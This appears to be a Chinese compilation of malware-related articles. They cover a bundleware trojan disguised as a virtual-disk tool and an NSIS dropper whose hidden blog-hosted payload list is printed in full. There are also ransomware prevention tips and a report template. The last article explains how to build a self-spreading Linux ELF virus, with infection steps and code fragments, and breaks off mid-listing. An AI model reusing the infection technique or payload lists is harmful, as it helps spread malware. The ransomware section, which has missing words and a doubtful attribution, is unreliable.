【导语】“印第安老斑鸠”通过精心收集，向本站投稿了9篇一个猥琐的流氓推广软件病毒的简单分析病毒防范，小编在这里给大家带来一个猥琐的流氓推广软件病毒的简单分析病毒防范，希望大家喜欢!
- 目录
篇1：一个猥琐的流氓推广软件病毒的简单分析病毒防范
今天我们要分析一个虚拟磁盘工具软件，这个病毒样本运行后看起来是正常应用程序，但当我们退出这个程序后，后续会发生一系列令人意想不到的事情，
在之前的瑞星安全月刊中，我们曾经写到过一篇“红米5秒抢购ID器”木马简单分析文章，这个抢购器实际上就是一个软件推广的木马病毒，运行后会给正常的系统下载并安装很多垃圾软件，这些垃圾软件也不容易卸载掉。今天，我们要分析一个虚拟磁盘工具软件，这个病毒样本运行后看起来是正常应用程序，但当我们退出这个程序后，后续会发生一系列令人意想不到的事情，下面就来简单分析一下这个样本。
病毒样本介绍
File：VDrive.exe
Size：92kb
MD5：CD1F8F81B75D07332E43E023FE7CD559
瑞星v16+报毒名称：Trojan.Win32.Generic.1677219F
此病毒样本截图如图1所示，瑞星v16查杀该样本截图如图2所示。
图1： 病毒样本
图2： 瑞星V16+查杀该样本截图
病毒样本行为分析
我们直接在虚拟机下直接双击运行VDdrive.exe，弹出一个首次使用虚拟磁盘专家，需要添加右键菜单的提示，如图3所示。
图3：运行病毒样本后弹出添加右键菜单提示
我们点击是按钮，弹出了虚拟磁盘专家的程序主界面，如图4所示。
图4：虚拟磁盘专家程序主界面
从图4来看，这似乎就是一个正常的虚拟磁盘专家软件，并没有什么异常现象。我们来尝试简单使用一下这个软件，先设置一下虚拟的文件路径，点击如图4-1所示的按钮，弹出想要创建的虚拟磁盘需要设置的文件路径对话框，如图5所示。
图4-1：设置虚拟的文件路径
图5：设置虚拟的文件路径为c:\\新建文件夹
由于虚拟机只一个分区，故我们就在c盘根目录下新建一个文件夹，指定为虚拟的文件路径，点图5确定按钮后，就设置成功了虚拟的文件路径，如图6所示。
图6： 设置虚拟的文件路径为c:\\新建文件夹，并将可分配的磁盘设置为E盘
按照图6的设置后，我们点创建按钮来创建一个虚拟磁盘，如图7所示，点创建后，软件提示“当前虚拟盘E：创建成功”。
图7：成功创建虚拟磁盘E：
点图7的确定按钮后，在当前在使用的虚拟磁盘显示出磁盘及其对应的物理路径，如图8所示。
图8：软件显示的虚拟磁盘盘符及物理路径
我们查看我的电脑，发现多了一个E盘，如图9所示，说明成功创建了虚拟磁盘。
图9：使用虚拟磁盘专家创建的虚拟磁盘E：
我们双击打开E盘，发现能正常打开，里面没有任何数据，如图10所示。
图10：打开的虚拟磁盘E：
到此我们验证了这个虚拟磁盘专家软件可以正常创建虚拟磁盘，下面再看一下创建好的虚拟磁盘是否能正常删除。该软件也提供了正常删除功能，我们选中当前在使用的虚拟磁盘，点删除按钮，如图11所示。
图11：删除创建的虚拟磁盘
点删除后，软件会提示是否确认要删除当前虚拟磁盘E：，如图12所示。
图12： 确认是否要删除创建的虚拟磁盘
这样看起来，这个软件做得还是比较正规的，怎么看都不像是病毒。点是按钮，查看是否能正常删除创建的虚拟磁盘，随后软件提示当前虚拟磁盘已删除，如图13所示。
图13：提示当前虚拟磁盘已删除
再来看我的电脑磁盘只剩一个系统C盘，之前创建的虚拟磁盘E已经被成功删除，如图14所示。
图14：创建的虚拟磁盘E成功被删除
到这里我们先后验证了这个软件的创建功能和删除功能都很正常。大家可能会疑惑，刚开始为什么通篇的都是演示虚拟磁盘专家这个软件的使用功能呢？并没有看到病毒的行为，我们前面的一大堆的演示，只是想证明一下这个软件的前两个功能都是正常的，这也是这个软件迷惑人的地方，但如果这时你认为这就是一个正常的虚拟磁盘软件，那就大错特错了。接下来，我们再来看一下软件退出功能，你将会看到一些意想不到的事情。我们点击虚拟磁盘专家软件主界面的退出按钮，我们虚拟机里安装的瑞星V16防火墙弹出一个VDrive.exe联网的提示，如图15所示。
图15：点击退出按钮后，瑞星防火墙拦截到虚拟磁盘专家软件请求联网
一个正常使用的软件为什么在软件退出后，会提示要联网呢？很可疑哟！从图15来看，vdrive.exe要通过本机的1140端口联网，连接远端ip为211.101.12.49的80端口。这里我们点击允许联网，在点击允许联网后，ie浏览器自动打开一个hao.6360.info的导航网址，如图16所示。
图16：在允许vdrive.exe联网后，ie浏览器自动打开hao.6360.info的网址导航紧接着，瑞星防火墙又拦截到一个可疑程序axukr.exe要进行联网操作，通过本机的1176端口，同样要连接远端的ip为211.101.12.49的80端口，如图17所示。
图17：瑞星防火墙拦截到可疑程序axukr.exe要进行联网操作
从图17来看，axukre.exe的路径很可能是C:\\Documents and Settings\\Administrator\\桌面\\virus，我们直接查看一下这个路径下是否有axukr.exe，
如图17-1所示，果然在C:\\Documents and Settings\\Administrator\\桌面\\virus下有这个文件axukre.exe。
图17-1：vdrive.exe联网后下载axukr.exe到和它同一路径的位置
我们点击图17中的允许联网按钮，同意让axukr.exe联网之后，系统托盘右下角弹出一个是否添加“音乐FM”开启启动项的提示，如图18所示。
图18：系统托盘弹出添加音乐FM开机启动的提示
看来在允许axukr.exe联网后，给系统快速下载并安装了音乐FM这个软件。同时，系统又自动打开一个点心浏览器，访问的网址为hao123的导航，并提示是否将点心浏览器设置为默认浏览器。如图19所示，悄无声息地给系统快速安装了点心浏览器，这就是流氓软件推广啊！这什么点心浏览器听都没有听说过。
图19：系统自动打开点心浏览器并访问hao123导航
由于我们允许axukr.exe联网，才导致这个流氓推广软件，下载了多个不知名的软件快速安装到了虚拟机里，导致虚拟机很卡。这也是流氓推广软件特性之一，我们只截取了部分被安装软件的截图，图20是我们截取到的酷播软件的在线安装界面。
图20：弹出的酷播在线安装的界面
终于，病毒在给系统安装多个软件之后，操作系统不堪重负，导致测试虚拟机自动重启了，如图21所示。
图21：系统自动重启
在虚拟机自动重启进入系统后，我们发现系统桌面上有很多软件的快捷方式，如音乐FM、女神联盟、武尊、唐门武尊、小新游戏、小新日历、今日新闻、点心浏览器、wjplay、Internet9块9包邮等，一下被推广安装了这么多软件，系统不卡才怪，如图22所示。
图22：系统被推广安装多个软件
此时，瑞星防火墙又拦截到系统的msiexec.exe请求联网，通过本机的1158端口连接远端的ip为2.20.183.168的80端口，如图23所示。
图23：瑞星防火墙拦截到msiexec.exe请求联网的提示
这里我们拒绝联网，还是甭联网了，指不定还会下载安装什么一些软件。来看一下系统开始菜单里被安装的程序列表，如图24所示，开始菜单里还有一个爱情智慧1.9等软件。
图24：开始菜单里的被推广安装的软件列表
这个虚拟磁盘专家软件就是一个流氓推广程序，软件的功能可以正常使用，颇具迷惑性，在程序的退出按钮上做文章，只要我们下载并使用这个软件，一旦退出就会触发程序联网并下载多个推广软件，并安装到系统中，造成系统出现卡、慢，同时还会修改浏览器的主页，从而达到增加网址导航被访问的次数、提高导航流量的目的。如图24-1、24-2所示，我们打开系统的ie浏览器，发现浏览器的主页被修改为hao.6360.info。
图24-1：系统ie浏览器被篡改为hao.6360.info
图24-2：internet选项的主页位置被修改为hao.6360.info
我们再来看一下系统任务管理器，通过查看任务管理器，我们看到有很多应用程序在运行，如图25所示。
图25：任务管理器显示虚拟磁盘专家等程序正在运行
当前进程里有多个未知程序在运行，如图26所示。
图26：进程列表有多个未知程序，包括虚拟磁盘专家这个病毒程序
这说明在系统被安装推广多个软件后，这些软件多数被写入了系统启动项，实现了开机运行。我们使用xuetr来查看一下被写入的启动项有哪些，如图27所示。
图27：xuetr显示的多个推广软件写入的启动项
由于被安装的软件比较多，我们就不一一讲解如何来卸载了。简单提一下，可以通过这些软件自带的卸载来进行卸载，或者在控制面板添加删除程序里进行卸载，对于卸载不掉的软件可以使用xutre强删功能进行手动删除。另外，对于被写入的启动项，我们可以使用xutre工具删除即可。具体如何操作，可以参考之前的文章来实际操作一下，接下来主要讲解一下如何防范这类流氓推广软件。
流氓推广软件病毒的防范方法
如何来防范这种联网并自动下载多个软件的病毒呢？细心点的同学应该很快能猜到防范方法，就是安装防火墙软件。前面我们演示到在退出虚拟磁盘专家这个软件后，程序会有个联网的请求，由于虚拟机系统已经安装了瑞星防火墙软件，使得瑞星防火墙软件第一时间拦截到了未知程序联网的请求。瑞星防火墙对未知程序提供了两个选择：一是允许联网、二是拒绝联网。我们直接拒绝vdrive.exe联网就达到了防范的目的，使得流氓推广病毒不能联网。也就达到的病毒程序无法下载流氓软件并安装到系统的目的。如图28所示，我们直接在瑞星防火墙拦截到vdrive.exe请求联网处直接点拒绝联网并钩选以后均采用同样的处理方式。
图28：拒绝vdrive.exe联网
在我们拒绝vdrive.exe联网后，查看任务管理器vdrive.exe进程已退出，且也没有任何异常的进程在执行，如图29所示，说明我们使用瑞星防火墙成功地防范了流氓推广软件病毒。
图29：系统任务管理器没有vdrive.exe，且无可疑进程
所以，如果当我们如果碰到一个免杀的流氓推广软件病毒，在我们不小心运行后，瑞星防火墙是防止此类病毒执行的最后一道防线。所以，我们建议广大网民朋友，在安装使用杀毒软件的同时，也给系统安装一款防火墙软件。
篇2：流氓推广那些事病毒防范
不知大家是不是时不时的就会遇到这样的场景：电脑中莫名其妙的就多出来了一大堆不认识的程序，怎么想都不知道是什么时候装的；抑或是本来就想装个程序A，谁曾想人家程序A家里最近搞活动——买一送二十，顺带手就给你的电脑来了个“一键装机”的“优质”服务，如果你确有同感的话，那你一定是中了“流氓推广程序”。
什么是流氓推广？顾名思义——性质是“流氓”，目的是“推广”。他们会想尽一切办法把合作厂商的程序安装到你的电脑上，以此赚取丰厚的“推广费用”。而360安全中心对此类程序一直是杀无赦的态度。而最近从我们的后台数据中也发现了一些此类程序的新型变种，颇有意思，决定拿出来给大家共同把玩一下。
来源
首先说程序来源，这个很重要，要推广的第一步是要保证这些流氓推广程序本身能够进入到用户的电脑中，并被用户运行起来。那么如何做到这一点呢？此类程序的下载页面通常……
有这样的：
这样的：
还有……这样的……（为了本文能顺利发出而不至于收到有关部门的快递，对图像做了一些必要的处理，且处理范围略大……）
我想大家也都明白，这种网站小朋友看了根本把持不住啊……结果当然是言听计从的人家让干什么就干什么，让装个播放器还不痛快？但你只要装了——就中招了！
分析
此类程序大多是NSIS安装包，直接解压即可看到里面的程序。但玄机却在NSIS脚本中。每个NSIS包都带有一个安装脚本，NSIS安装包除了释放包里的文件之外，还会根据这个脚本的内容做一些额外的工作。问题就在于此：
一个163的博客是怎么回事？怀着好奇的心情打开了这个链接。
是一个名为“武汉雷胜IT教育中心”的博客里的一篇博文——《网站建设行业的前景思考》。唔……写的貌似不错……虽然看不懂，但是感觉好厉害的样子。博文没什么问题啊。难道是程序里要推荐自己的博文么？真的这么文艺？
当我习惯性的查看页面源码的时候，我和我的小伙伴们都惊呆了……
这个pre元素的style属性的值是display:none是怎么个意思？为何要将这一段隐藏起来？有何居心？
细看下其中内容便豁然开朗：
[Soft0]
SoftTitle=Recommend
[Soft1]
SoftTitle=YinyueFM
SoftName=setup_3038.exe
SoftUrl=down.yinyue.fm/open/setup_3155.txt
SoftUrl2=down.yinyue.fm/open/setup_3155.txt
[Soft2]
SoftTitle=365weather
SoftName=365weatherIns_60.exe
SoftUrl=lm.beilequ.com/update/365/365weatherIns_60.rar
SoftUrl2=play001.b0.upaiyun.com/365weatherIns_60.txt
[Soft3]
SoftTitle=BaiduWeishi
SoftName=uqacmk_70067.exe
SoftUrl=our.lxhj.net/uqacmk_70067.txt
SoftUrl2=play001.b0.upaiyun.com/uqacmk_70067.txt
[Soft4]
SoftTitle=Rising
SoftName=setup1146568.exe
SoftUrl=/Article/UploadPic/2014-8/201482214858649.gif
SoftUrl2=/Article/UploadPic/2014-8/201482214858649.gif
[Soft5]
SoftTitle=Dianxin
SoftName=dianxin_silent[108].exe
SoftUrl=xz.ieanquan.com/download/dianxin_silent[108].txt
SoftUrl2=xz.ieanquan.com/download/dianxin_silent[108].txt
[Soft6]
SoftTitle=LieYan
SoftName=xkyy_31.exe
SoftUrl=our.lxhj.net/xkyy_31.gif
SoftUrl2=/Article/UploadPic/2014-8/20148221490857.gif
[Soft7]
SoftTitle=Wuji
SoftName=setup_open_3747.exe
SoftUrl=our.lxhj.net/setup_open_3747.txt
SoftUrl2=play001.b0.upaiyun.com/setup_open_3747.txt
[Soft8]
SoftTitle=Guangsu
SoftName=setup_qd206.exe
SoftUrl=down.guangsu.cn/qdn/setup_qd206.txt
SoftUrl2=down.guangsu.cn/qdn/setup_qd206.txt
[Soft9]
SoftTitle=Sonlinetime
SoftName=sonlinetime_1199.exe
SoftUrl=download.035668.com/onlinetime/sonlinetime_1199.txt
SoftUrl2=download.035668.com/onlinetime/sonlinetime_1199.txt
[Soft10]
SoftTitle=BaiduShadu
SoftName=zfocvyt_30520.exe
SoftUrl=our.lxhj.net/zfocvyt_30520.txt
SoftUrl2=play001.b0.upaiyun.com/zfocvyt_30520.txt
[Soft11]
SoftTitle=2345Explorer
SoftName=2345Explorer_314911_silence.exe
SoftUrl=our.lxhj.net/2345.txt
SoftUrl2=play001.b0.upaiyun.com/2345.txt
[Soft12]
SoftTitle=Kuping
SoftName=kuping4_b_51022.exe
SoftUrl=down.shuyeer.net/kuping4_b_51022.txt
SoftUrl2=down.shuyeer.net/kuping4_b_51022.txt
[Soft13]
SoftTitle=uCalendar
SoftName=s2222.exe
SoftUrl=down.xiaoxinrili.com/hezi/jm/s2222.txt
SoftUrl2=down.xiaoxinrili.com/hezi/jm/s2222.txt
[Soft14]
SoftTitle=WebGame
SoftName=KXWebBox_3314_R.exe
SoftUrl=our.lxhj.net/KXWebBox_3314_R.txt
SoftUrl2=play001.b0.upaiyun.com/KXWebBox_3314_R.txt
[Soft15]
SoftTitle=Jdrl
SoftName=wauee_jx014.exe
SoftUrl=down.jdrili.com/wauee_jx014.txt
SoftUrl2=down.jdrili.com/wauee_jx014.txt
[Soft16]
SoftTitle=SohuTV
SoftName=SoHuVA_4.2.0.88-c203949026-run-s-bgs-bdj-x.exe
SoftUrl=our.lxhj.net/SoHuVA_4.2.0.88-c203949026-run-s-bgs-bdj-x.txtSoftUrl2=play001.b0.upaiyun.com/SoHuVA_4.2.0.88-c203949026-run-s-bgs-bdj-x.txt
[Soft17]
[Soft18]
SoftTitle=Funshion
SoftName=FunshionInstall_C171693.exe
SoftUrl=neirong.funshion.com/software/files/silent5/FunshionInstall_C171693.exe
SoftUrl2=play001.b0.upaiyun.com/FunshionInstall_C171693.txt
[Soft19]
SoftTitle=QIYImedia
SoftName=QIYImedia_C_01.exe
SoftUrl=our.lxhj.net/QIYImedia_C_01.txt
SoftUrl2=play001.b0.upaiyun.com/QIYImedia_C_01.txt
[Soft20]
SoftTitle=WanDouJia
SoftName=WanDouJiaSetup_zhimeng10_kb.exe
SoftUrl=dl.wandoujia.com/files/third/WanDouJiaSetup_zhimeng11_kb.txt
SoftUrl2=play001.b0.upaiyun.com/WanDouJiaSetup_zhimeng10_kb.txt
[Soft21]
SoftTitle=Ailiao
SoftName=al_bind_1.exe
SoftUrl=cot2.ailiao.tv:7045/90018_albind.exe
SoftUrl2=cot2.ailiao.tv:7045/90018_albind.exe
[Soft22]
SoftTitle=Xuanku
SoftName=xkss_50002.exe
SoftUrl=down.hzspzs.com/sousuo/xkss_50002.txt
SoftUrl2=down.hzspzs.com/sousuo/xkss_50002.txt
[Soft23]
SoftTitle=Jinshan
SoftName=vvkKAVSETUPS_66_131833.exe
SoftUrl=our.lxhj.net/vvkKAVSETUPS_66_131833.txt
SoftUrl2=play001.b0.upaiyun.com/vvkKAVSETUPS_66_131833.txt
[Soft24]
SoftTitle=Bianqian
SoftName=peuip_69_12345.exe
SoftUrl=download.laochehe.com/new/peuip_69_12345.txt
SoftUrl2=download.laochehe.com/new/peuip_69_12345.txt
[Soft25]
SoftTitle=Xiaocai
SoftName=setup_ggjm_zm478284.exe
SoftUrl=our.lxhj.net/setup_ggjm_zm478284.txt
SoftUrl2=play001.b0.upaiyun.com/setup_ggjm_zm478284.txt
从Soft0一直排到Soft25……总共24款推广软件（总共26项，Soft0只是一个“Recommend”的标签，并未推广软件;Soft17为空），蔚为壮观啊……
这些程序全都会被不知不觉的装到你的电脑里……想想就不寒而栗……
运行
将程序跑起来，也印证了我之前的想法——一上来就访问这个163的博客：
从博客页面中获取推广列表，之后便是各种惨无人道的下载……
以下是我虚拟机测试中的一个进程截图，圈出来的进程全都是正在推广的程序安装进程：
很抱歉我没能多截几张——我的虚拟机被卡死了……
我相信中了招的用户机器即便不被卡到死机，也得是被卡到什么都干不了的地步了……
最后
对此类程序，360的原则一向是杀无赦，
电脑资料
这个自不必多说：
同时这里也需要提醒广大网民——尤其是广大宅男们：下载软件一定要通过正规渠道，不要轻信各种小网站推荐的程序——即便看起来很有吸引力的样子……
篇3： 病毒是什么？如何防范 病毒？
病毒疯狂传播 敲诈者被悬赏300万
5月4日， 病毒疯传，CTB-Locker敲诈者被悬赏300万，
病毒是什么？如何防范 病毒？
。近日，一种名为 CTB-Locker的 病毒疯狂传播，专宰有钱人，如果电脑中了毒则需要付赎金才能重新解密使用。目前已经确定制造 病毒的CTB-Locker敲诈者是俄罗斯 ，被美国悬赏300万美元，这是有史以来最高的 悬赏案。
据悉， 病毒的敲诈者是木马家族的作者，名叫艾维盖尼耶・米哈伊洛维奇・波格契夫。此人从2012开始就面临多项指控，光是这次的 病毒就有12个国家超过一百万计算机感染，造成损失超过1亿美元。
知识就是力量，这话说得不错，但是力量又好又坏，靠技术来绑架电脑敲诈别人的 迟早要面临法律的制裁，卿本佳人，奈何做贼。
如何防范 挖矿木马？
一、安装杀病毒软件更新病毒库
1 在电脑上安装反病毒软件，及时更新最新的病毒库文件，
打开反病毒软件，点击软件上的立即升级。
2 当更新完成后，可能需要我们重新启动来生效。
二、预防网上热门的视频文件
1 现在的病毒木马都喜欢伪装成当下最流行的一些视频。所以当我们在上网观看或者下载视频时就需要留意当前下载的视频文件是否安全了。一般的视频文件应该都是上百兆的，如果遇到一些容量比很小的以影视名称命名的文件，就应该引起格外注意了。
2 上网时不要随意打开一些不知名的网站。比如在群里看到别人发出的网址链接，不要轻易点击。
3 尽量去正规大型的可信度高的网站，这样可以使得我们的上网安全得到保证。
篇4：病毒分析报告病毒防范
以前做病毒分析时整理的一个比较简单的报告模板，仅参考：
#
# by:∮明天去要饭
# yaofan.me
#
+——————————————————–+
+ 样本个数: x 个 +
+ 提交日期: 200X-XX-XX +
+ 样本提交: XXX +
+——————————————————–+
1. 目录
+ 文件夹
├ xxx1.exe <—– xxx1的说明
├ xxx2.exe <—– xxx2的说明
2. 详细内容
+——————————————————–+
+ 样本编号: 2.1 +
+ 样本名称: xxx.exe +
+ 样本大小: xxx 字节 +
+ 样本MD5 : xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +
+——————————————————–+
1. 进程
创建(隐藏)进程:
%SYSTEMROOT%\\system32\\xxx.exe user
2. 文件行为
释放如下文件:
%SYSTEMROOT%\\system32\\xxxadd1.exe
%SYSTEMROOT%\\system32\\xxxadd2.exe
删除如下文件:
%SYSTEMROOT%\\system32\\xxxdel1.exe
%SYSTEMROOT%\\system32\\xxxdel2.exe
感染如下文件:
%SYSTEMROOT%\\system32\\xxxappend1.exe
%SYSTEMROOT%\\system32\\xxxappend2.exe
3. 网络行为
3.1 解析域名
www.xxx.com —–>xxx.xxx.xxx.xxx
3.2 数据交互
访问如下链接:
www.xxx.com/xxx.exe
4. 启动方式4.1 系统服务
显示名称: xxx
服 务 名: xxx
服务描述: xxx
文件路径: %SYSTEMROOT%\\system32\\xxx.exe
启动类型: 自动
4.2 注册表
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
下添加如下项/键:
项/键名: xxx
路径: %SYSTEMROOT%\\system32\\xxxadd1.exe
5. 自我保护
5.1 注入到xxx进程
5.2 自动关闭xxx杀毒软件或防火墙
6. 总结
该样本是/不是恶意软件.
篇5：一个Linux病毒原型分析病毒防范
内容： 1 -- 介绍 2 -- ELF Infector (ELF文件感染器) 3 -- 病毒原型的工作过程 4 -- 关键技术问题及处理 5 -- 在一个新的编译环境下的调试方法 6 -- 最后 7 -- 参考文献 8 -- 附录 - ELF文件感染工具和病毒原型 ...
内容：
1 -- 介绍
2 -- ELF Infector (ELF文件感染器)
3 -- 病毒原型的工作过程
4 -- 关键技术问题及处理
5 -- 在一个新的编译环境下的调试方法
6 -- 最后
7 -- 参考文献
8 -- 附录 - ELF文件感染工具和病毒原型源代码
一、** 介绍
写这篇文章的目的主要是对最近写的一个Linux病毒原型代码做一个总结，
同时向对这方面有兴趣的朋友做一个简单的介绍，
阅读这篇文章你需要一些知识，要对ELF有所了解、能够阅读一些嵌入
了汇编的C代码、了解病毒的基本工作原理。
二、** ELF Infector (ELF文件感染器)
为了制作病毒文件，我们需要一个ELF文件感染器，用于制造第一个带毒文件。
对于ELF文件感染技术，在Silvio Cesare的《UNIX ELF PARASITES AND VIRUS》
一文中已经有了一个非常好的分析、描述，在这方面我还没有发现可以对其进行补充的
地方，因此在这里我把Silvio Cesare对ELF Infection过程的总结贴出来，以供参考：
The final algorithm is using this information is.
* Increase p_shoff by PAGE_SIZE in the ELF header
* Patch the insertion code (parasite) to jump to the entry point
(original)
* Locate the text segment program header
* Modify the entry point of the ELF header to point to the new
code (p_vaddr + p_filesz)
* Increase p_filesz by account for the new code (parasite)
* Increase p_memsz to account for the new code (parasite)
* For each phdr who's segment is after the insertion (text segment)
* increase p_offset by PAGE_SIZE
* For the last shdr in the text segment
* increase sh_len by the parasite length
* For each shdr who's section resides after the insertion
* Increase sh_offset by PAGE_SIZE
* Physically insert the new code (parasite) and pad to PAGE_SIZE, into
the file - text segment p_offset + p_filesz (original)
在Linux病毒原型中所使用的gei - ELF Infector即是根据这个原理写的。在
附录中你可以看到这个感染工具的源代码: g-elf-infector.c
g-elf-infector与病毒是独立开的，其只在制作第一个病毒文件时被使用。我简单介
绍一下它的使用方法，g-elf-infector.c可以被用于任何希望--将二进制代码插入到
指定文件的文本段，并在目标文件执行时首先被执行--的用途上。g-elf-infector.c
的接口很简单，你只需要提供以下三个定义：
* 存放你的二进制代码返回地址的地址，这里需要的是这个地址与代码起始
地址的偏移，用于返回到目标程序的正常入口
#define PARACODE_RETADDR_ADDR_OFFSET 1232
* 要插入的二进制代码（由于用C编写，所以这里需要以一个函数的方式提供）
void parasite_code(void);
* 二进制代码的结束（为了易用，这里用一个结尾函数来进行代码长度计算）
void parasite_code_end(void);
parasite_code_end应该是parasite_code函数后的第一个函数定义，通常应该如下表示
void parasite_code(void)
{
...
...
...
}
void parasite_code_end(void) {}
在这里存在一个问题，就是编译有可能在编译时将parasite_code_end放在parasite_code
地址的前面，这样会导致计算代码长度时失败，为了避免这个问题，你可以这样做
void parasite_code(void)
{
...
...
...
}
void parasite_code_end(void) {parasite_code;}
有了这三个定义，g-elf-infector就能正确编译，编译后即可用来ELF文件感染
~grip2@linux>./gei foo
三、** 病毒原型的工作过程
1 首先通过ELF Infector将病毒代码感染到一个ELF文件，这样就创造了第一
个带毒文件，后续的传播就由它来完成。
2 当带毒文件被执行时，会首先跳到病毒代码开始执行。
3 病毒代码开始发作，在这个原型里，病毒会直接开始传播。
4 病毒遍历当前目录下的每一个文件，如果是符合条件的ELF文件就开始感染。
5 病毒的感染过程和ELF Infector的过程类似，但由于工作环境的不同，
代码的实现也是有较大区别的。
6 目前传染对ELF文件的基本要求是文本段要有剩余空间能够容纳病毒代码，
如果无法满足，病毒会忽略此ELF。对于被感染过一次的ELF文件，文本段将不会有
剩余的空间，因此二次感染是不会发生的。
7 病毒代码执行过后，会恢复堆栈和所有寄存器（这很重要），然后跳回到
真正的可执行文件入口，开始正常的运行过程。
上面对病毒原型的工作过程的介绍也许显得千篇 一律了，和我们早就熟知的
关于病毒的一些介绍没有什么区别？是的，的确是这样，原理都是类似的，关键是要看
实现。下面我们就将通过对一些技术问题的分析来了解具体的实现思路。
四、** 关键技术问题及处理
1 ELF文件执行流程重定向和代码插入
在ELF文件感染的问题上，ELF Infector与病毒传播时调用的infect_virus思路是一样的：
* 定位到文本段，将病毒的代码接到文本段的尾部。这个过程的关键是要熟悉
ELF文件的格式，将病毒代码复制到文本段尾部后，能够根据需要调整文本段长度改变
所影响到的后续段(segment)或节(section)的虚拟地址。同时注意把新引入的文本段部
分与一个.setion建立关联，防止strip这样的工具将插入的代码去除。还有一点就是要
注意文本段增加长度的对齐问题，见ELF文档中的描述：
p_align
As ``Program Loading'' later in this part describes, loadable
process segments must have congruent values for p_vaddr and
p_offset, modulo the page size.
* 通过过将ELF文件头中的入口地址修改为病毒代码地址来完成代码重定向：
/* Modify the entry point of the ELF */
org_entry = ehdr->e_entry;
ehdr->e_entry = phdr[txt_index].p_vaddr + phdr[txt_index].p_filesz;
2 病毒代码如何返回到真正的ELF文件入口
方法技巧应该很多，这里采用的方法是PUSH+RET组合：
__asm__ volatile (
...
“return:\\n\\t”
“push $0xAABBCCDD\\n\\t” /* push ret_addr */
“ret\\n”
::);
其中0xAABBCCDD处存放的是真正的程序入口地址，这个值在插入病毒代码时由感染程
序来填写。
3 堆栈和寄存器的恢复
病毒代码必须保证运行前、后的堆栈和寄存器内容完全相同，这通过增加额外的代码
来完成。
在进入时：
__asm__ volatile (
“push %%eax\\n\\t”
“push %%ecx\\n\\t”
“push %%edx\\n\\t”
::);
退出时：
__asm__ volatile (
“popl %%edx\\n\\t”
“popl %%ecx\\n\\t”
“popl %%eax\\n\\t”
“addl $0x102c, %%esp\\n\\t”
“popl %%ebx\\n\\t”
“popl %%esi\\n\\t”
“popl %%edi\\n\\t”
“popl %%ebp\\n\\t”
“jmp return\\n”
要注意上面的代码是根据特定的编译器、编译选项来调整的，在不同的环境下如果重
新编译病毒程序，可能还需要做一些调整。
4 字符串的使用
write(1, “hello world\\n”, 12);
在病毒代码中这样对一个字符串直接引用是不可以的。这是对字符串的使用是一个绝
对地址引用，病毒代码在进入到一个新的宿主内后，这一绝对地址的内容是无法得到
保证的，因此在病毒代码内应该使用相对地址或间接地址进行字符串访问。
下面是Silvio Cesare的《UNIX ELF PARASITES AND VIRUS》中的一个解决办法，利用
了缓冲区溢出中shellcode的编写技术：
In x86 Linux, some syscalls require the use of an absolute address pointing to
initialized data. This can be made relocatable by using a common trick used
in buffer overflow code.
jmp A
B:
pop %eax ; %eax now has the address of the string
. ; continue as usual
.
.
A:
call B
.string \\“hello\\”
By making a call directly proceeding the string of interest, the address of
the string is pushed onto the stack as the return address.
但是在编写这个linux病毒原型代码时，我并没有使用这个方法，我尽力使代码使用
C语言的语法：
char tmpfile[32] = {'/','t','m','p','/','.','g','v','i','r','u','s','\\0'};
#ifndef NDEBUG
char err_type[32] = {'f','i','l','e',' ','t','y','p','e',' ','n','o','t',' ',
's','u','p','p','o','r','t','e','d','\\n','\\0'};
char luck[32] = {'B','e','t','t','e','r',' ','l','u','c','k',' ',
'n','e','x','t',' ','f','i','l','e','\\n','\\0'};
#endif
在这里将字符串以字符数组的形式出现，编译之后的代码是这样：
...
movb $47, -8312(%ebp)
movb $116, -8311(%ebp)
movb $109, -8310(%ebp)
movb $112, -8309(%ebp)
movb $47, -8308(%ebp)
movb $46, -8307(%ebp)
movb $103, -8306(%ebp)
movb $118, -8305(%ebp)
movb $105, -8304(%ebp)
movb $114, -8303(%ebp)
movb $117, -8302(%ebp)
movb $115, -8301(%ebp)
...
这样带来一个负面影响就是增加了代码长度，但是适当的使用对代码长度影响并不大。
值得注意的一点是，当字符数组定义的尺寸超过了64时，在我的编译环境下，编译器
对代码进行了优化，会导致编译后代码成为：
...
.section .rodata
.LC0:
.byte 47
.byte 116
.byte 109
.byte 112
.byte 47
.byte 46
.byte 103
.byte 118
.byte 105
.byte 114
.byte 117
.byte 115
.byte 0
...
数据被放到了.rodata section中，这样就使得其无法随病毒代码一起进入宿主，会
造成访问失败，所以注意数组的申请尽量保持32以内，防止编译器优化。
除此之外，使用整型数组的方法也与此类似，不再赘述。
5 遭遇gcc-3.3的bug
gvirus.c中有一部分的数据初始化是这样的：
...
char curdir[2] = {'.', 0};
char newline = '\\n';
curdir[0] = '.';
curdir[1] = 0;
newline = '\\n';
if ((curfd = g_open(curdir, O_RDONLY, 0)) < 0)
goto out;
...
也许你会奇怪，为什么curdir和newline在已经初始化后还要重新赋值，这其中的原因
是为了绕过一个gcc的bug。
在我的编译环境下，当只做
char curdir[2] = {'.', 0};
char newline = '\\n';
这样的初始化时，反汇编代码如下：
...
0x08048cb0
: push %ebp
0x08048cb1
: push %edi
0x08048cb2
: push %esi
0x08048cb3
: push %ebx
0x08048cb4
: sub $0x20bc,%esp
0x08048cba
: push %eax
0x08048cbb
: push %ecx
0x08048cbc
: push %edx
0x08048cbd
: xor %ecx,%ecx
0x08048cbf
: lea 0x4e(%esp),%ebx <-- 使用curdir
0x08048cc3
: mov $0x5,%eax
0x08048cc8
: mov %ecx,%edx
0x08048cca
: int $0x80 <-- g_open系统调用
0x08048ccc
: mov %eax,0x38(%esp)
0x08048cd0
: cmp $0xffffff82,%eax
0x08048cd3
: jbe 0x8048cdd
0x08048cd5
: movl $0xffffffff,0x38(%esp)
0x08048cdd
: mov 0x38(%esp),%eax
0x08048ce1
: test %eax,%eax
0x08048ce3
: js 0x804915d
0x08048ce9
: movw $0x2e,0x4e(%esp) <-- curdir的初始化
...
从注释可以看出，在这种情况下，curdir的初始化被放到了g_open使用其做参数之后。
当加入
curdir[0] = '.';
curdir[1] = 0;
newline = '\\n';
后，反汇编代码如下：
...
0x08048cb0
: push %ebp
0x08048cb1
: push %edi
0x08048cb2
: push %esi
0x08048cb3
: push %ebx
0x08048cb4
: sub $0x20bc,%esp
0x08048cba
: push %eax
0x08048cbb
: push %ecx
0x08048cbc
: push %edx
0x08048cbd
: xor %ecx,%ecx
0x08048cbf
: movw $0x2e,0x4e(%esp) <-- curdir的初始化
